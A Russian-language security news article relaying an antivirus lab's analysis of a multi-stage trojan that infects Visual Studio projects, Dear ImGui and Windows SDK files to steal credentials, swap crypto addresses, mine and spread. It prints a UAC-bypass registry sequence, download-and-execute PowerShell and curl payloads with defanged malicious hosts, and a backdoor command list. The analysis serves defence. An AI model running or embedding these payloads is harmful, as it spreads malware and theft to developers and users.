Разработчики под ударом: новый троян заражает проекты Visual Studio

2026-07-09 238 комментарии
Новый многофункциональный троян атакует цепочку поставок, заражая проекты Visual Studio, исполняемые файлы и компоненты Windows SDK. Вредонос крадет данные, подменяет криптокошельки, устанавливает майнер и распространяется через проекты на C++ и C#, заражая компьютеры разработчиков и пользователей.

Специалисты антивирусной лаборатории «Доктор Веб» сообщили о новой троянской программе, которая относится к атакам на цепочку поставок (supply chain attack). Её отличительная черта – нацеленность на проекты, написанные на языках C++ и C#. Вторая особенность – повышенная опасность: троян объединяет сразу несколько поражающих функций, работая одновременно как stealer, clipper, backdoor, miner и средство заражения файлов.

Первые случаи распространения зафиксированы в последнем квартале 2025 года, и с тех пор троян постоянно дорабатывается. Основные каналы распространения – зараженные файлы .exe и Python. Заражение многоступенчатое, поэтому каждую стадию разберём отдельно.

Стадия 1. Trojan.DownLoader49.35384

«Доктор Веб» обнаружил множество зараженных легитимных приложений со схожей структурой. В исходный исполняемый файл добавлен глобальный объект, а выполнение начинается с получения доступа к системным API методом PEB walking. Затем стандартная функция initterm перебирает таблицу указателей на функции и инициализирует их – одна из этих функций является вредоносной и запускает команду PowerShell. В части версий трояна эта нагрузка хранится в зашифрованном виде.

Запуск через initterm

Команда PowerShell скачивает и выполняет файл Trojan.DownLoader49.35687 – это запуск второй стадии.

Вредоносная команда PowerShell

Помимо исполняемых файлов найдены файлы на языке Python (Python.Downloader.255). В них тот же вредоносный код зашифрован механизмом симметричного шифрования Fernet и скрыт за простой обфускацией – множеством пробелов в первой строке. Выполнение здесь также проходит в несколько этапов.

Вредоносные файлы Python

Стадия 2. Trojan.DownLoader49.35687

На этом этапе Trojan.DownLoader49.35687 проверяет, не запущен ли он в песочнице, и создаёт объект синхронизации (mutex) с именем Global\PFNMX (фиксированное значение). Пример такого объекта: \Sessions\BaseNamedObjects\Global\PFNMX_0o6u9MMc2QdKvqeHmgPRE008. Так троян определяет, не запущена ли на компьютере другая его копия.

Адреса управляющего сервера (C2) троян получает через публичные репозитории GitHub и игровую платформу Steam: злоумышленники размещают там домены, которые троян считывает и использует как URL для загрузки третьей стадии – BackDoor.Siggen2.5906. В созданных злоумышленниками аккаунтах Steam имя домена указано в открытом виде.

Аккаунт Steam с доменом C2

На GitHub зашифрованный адрес домена C2 хранится в виде raw-файла: raw[.]githubusercontent[.]com/XxXloverXxX/rustflare/refs/heads/main/crates/engine. Троян загружает файл и расшифровывает его сначала через Base64, затем операцией XOR с ключом ZwFlushKey.

Зашифрованные домены

После загрузки следующей стадии Trojan.DownLoader49.35687 внедряет её в процесс одного из 41 заранее заданного исполняемого файла из C:\Windows\System32. Адрес домена C2, с которым удалось связаться, добавляется к жёстко зашитым в трояне строкам и передаётся следующей стадии через именованный канал pipe\VccFramework.

Стадия 3. BackDoor.Siggen2.5906

Здесь разворачивается основная вредоносная активность. BackDoor.Siggen2.5906 создаёт mutex с фиксированным именем вида Global\PFNX_Side, затем через ранее созданный канал получает данные от второй стадии и извлекает идентификаторы трояна и домен C2 для дальнейшей связи.

Для закрепления в системе троян скачивает файл «bungee.boo», выполняющий функции второй стадии (Trojan.DownLoader49.35687), и подменяет им следующие DLL:

  • «profapi.dll» приложения Discord;
  • «domain_actions.dll» в папке «Domain Actions» и «well_known_domains.dll» в папке «Well Known Domains» приложения Microsoft Edge;
  • «C:\Windows\omadmapi.dll».

Дополнительно BackDoor.Siggen2.5906 может изменить реестр Windows так, чтобы при открытии архивов через WinRAR.exe запускался вредоносный код.

Для действий с правами администратора троян применяет обход UAC. Он генерирует .vbs-файл со случайным числовым именем, куда помещает команду для выполнения с повышенными правами, после чего через cmd.exe запускает:

reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe
%APPDATA%\Microsoft9059.vbs" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
c start /B ComputerDefaults.exe

Далее троян реализует пять вредоносных функций: stealer, clipper, backdoor, miner и заражение файлов.

Stealer – кража данных

Троян похищает разнообразную информацию:

  • токены Discord, позволяющие входить в чужие аккаунты без логина и пароля;
  • пароли и файлы cookie из браузеров Chrome, Edge, Opera, Brave, Yandex и других. Помимо обычных методов извлечения может использоваться файл CCCWF.tmp (Trojan.PWS.Siggen5.33623): он встраивается в браузер, считывает пароли и сохраняет их в текстовые файлы;
  • папки Telegram Desktop;
  • папки криптокошелька Exodus.

Кроме хищения папок Exodus троян модифицирует сам криптокошелёк: находит файл app.asar и заменяет его копией, скачанной через curl с адреса balista[.]lol/Stb/PokerFace/RTApp[.]txt. В подменённом index.js (Trojan.Siggen32.44702) присутствует функция unlock(), которая при запуске отправляет мнемонические фразы кошелька на сервер злоумышленников.

Подменённый файл index.js

Clipper – подмена буфера обмена

Особо опасная функция. Троян постоянно следит за буфером обмена: ищет данные банковских карт и отправляет их злоумышленникам, а также подменяет адреса криптокошельков на подставные, получаемые от сервера C2.

Backdoor – удалённое управление

Троян даёт злоумышленникам удалённо управлять зараженным компьютером набором команд:

Команда Действие
exc скачать файл по URL через curl и запустить его
RVRS запустить Reverse Proxy
RUNCMD выполнить команду через cmd
GETFILE передать содержимое указанного файла на управляющий сервер
LISTDIR отправить список файлов из указанной директории на управляющий сервер
TROLL запустить действия, мешающие пользователю: опции earrape, scary_sound, rickroll, mute_audio, jumpscare_screamer и др.

Miner – скрытая добыча криптовалюты

Через curl троян скачивает и запускает файл files[.]catbox[.]moe/lvh9j3[.]bin (Trojan.Packed2.50953). По строению и поведению он близок ко второй стадии, но вместо BackDoor.Siggen2.5906 загружает и внедряет Trojan.BtcMine.3956. Майнер запускается только после определённого периода бездействия пользователя и использует инструменты с открытым исходным кодом: XMRig, T-Rex и TeamRedMiner.

Заражение файлов

Главная отличительная черта трояна – заражение файлов и дальнейшее самораспространение. Список заражаемых объектов:

  • imgui_impl_win32.cpp;
  • .suo;
  • .exe;
  • winnetwk.h (Windows SDK);
  • .vcxproj и .csproj.

Чтобы найти подходящие файлы, троян перебирает диски и запускает команду. Пример для диска A://

dir /a /s /b A:\*imgui_impl_win32.cpp A:\*.suo A:\*.exe A:\*.vcxproj A:\*.csproj > %ALLUSERSPROFILE%\ADat.bin3290.

Расчёт злоумышленников в том, что разработчики выкладывают проекты с уже внедрённым вредоносным кодом в открытый доступ. Другие разработчики, собирая, компилируя или изменяя такой проект, заражают свои компьютеры из-за файлов .suo, .vcxproj и .csproj, а обычные пользователи – запуская исполняемые файлы, собранные скомпрометированными инструментами разработки.

Файл imgui_impl_win32.cpp (Trojan.Loader.3129)

Файл imgui_impl_win32.cpp – часть популярной библиотеки Dear ImGui, отвечающей за графический интерфейс в проектах на C++. Троян добавляет в файл две строки: первая содержит полезную нагрузку, вторая её запускает.

Строка кода с полезной нагрузкой

Строка кода с запуском нагрузки

В итоге выполняется команда:

start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api[.]tf/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt' -OutFile $env:APPDATA\BK879002.exe; Start-Process -FilePath $env:APPDATA\BK879002.exe -WindowStyle Hidden }"

Библиотека оказывается зараженной, и любое собранное на её основе приложение на C++ содержит вредоносный код. При передаче или загрузке таких приложений заражение распространяется дальше.

Файлы .suo (Trojan.Loader.3138)

Это файлы среды разработки Microsoft Visual Studio, хранящие пользовательские настройки конкретных проектов. Троян заменяет оригинальный файл на зараженный, полученный с C2.

Зараженный файл

При открытии проекта в Visual Studio запускается вредоносный код:

javascript:new ActiveXObject('WScript.Shell').Run('cmd /b /c curl -o \"C:\ProgramData\S47LY.exe\" \"https://pee-files[.]nl/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt\" && start \"\" \"C:\ProgramData\S47LY.exe\"', 0, false);close();

Файлы winnetwk.h (Trojan.Loader.3184)

Windows SDK – официальный набор инструментов Microsoft для создания приложений под Windows. Через реестр троян находит папку установки Windows SDK, ищет в ней файл winnetwk.h (отвечает за работу с сетевыми ресурсами) и добавляет туда вредоносный код.

Зараженный файл winnetwk.h

После этого все программы, собранные с использованием winnetwk.h, получают вредоносный код, запускающий вторую стадию.

Файлы .exe

Троян находит подходящие файлы .exe и внедряет в них функции инициализации API и запуска initterm. После этого файл работает как Trojan.DownLoader49.35384, то есть первая стадия.

Файлы .vcxproj и .csproj (Trojan.Loader.3128, 3127, 3126)

Это файлы проектов Visual Studio на языках C++ и C#. В них добавляется команда PreBuildEvent, выполняемая перед каждой сборкой проекта. Ранние версии трояна добавляли код, аналогичный первой стадии.

Ранняя версия кода

В новых версиях код усложнился, добавилась дополнительная обфускация.

Новая версия кода

Один из этапов выполнения Trojan.Loader.3128

Вредоносная команда записывает .vbs-файл, который запускает полезную нагрузку PowerShell. Троян обращается к адресам:

  • youtu.be/akoxddx6lgc;
  • steamcommunity.com/profiles/76561198737324192.

По этим адресам хранится другой URL, зашифрованный с помощью Base64.

Аккаунт YouTube с зашифрованным URL

После расшифровки троян получает домен C2, к которому обращается за нагрузкой, аналогичной второй стадии.

Как защититься

Троян опасен именно сочетанием функций и способностью к самораспространению через проекты разработчиков. Чтобы не заразить систему и не передать угрозу дальше, стоит регулярно обновлять антивирусные базы, проверять все загруженные из интернета файлы и с осторожностью относиться к чужим проектам на C++ и C#, а также к собранным из них исполняемым файлам.

По данным «Доктор Веб», троян детектируется и удаляется продуктами Dr.Web Security Space и Dr.Web Desktop Security Suite; файлы .vcxproj, .csproj и imgui лечатся с удалением вредоносного кода. Больше материалов по теме – в разделе «Угрозы безопасности» на Comss.ru.

© .
Комментарии и отзывы

Нашли ошибку?

Новое на сайте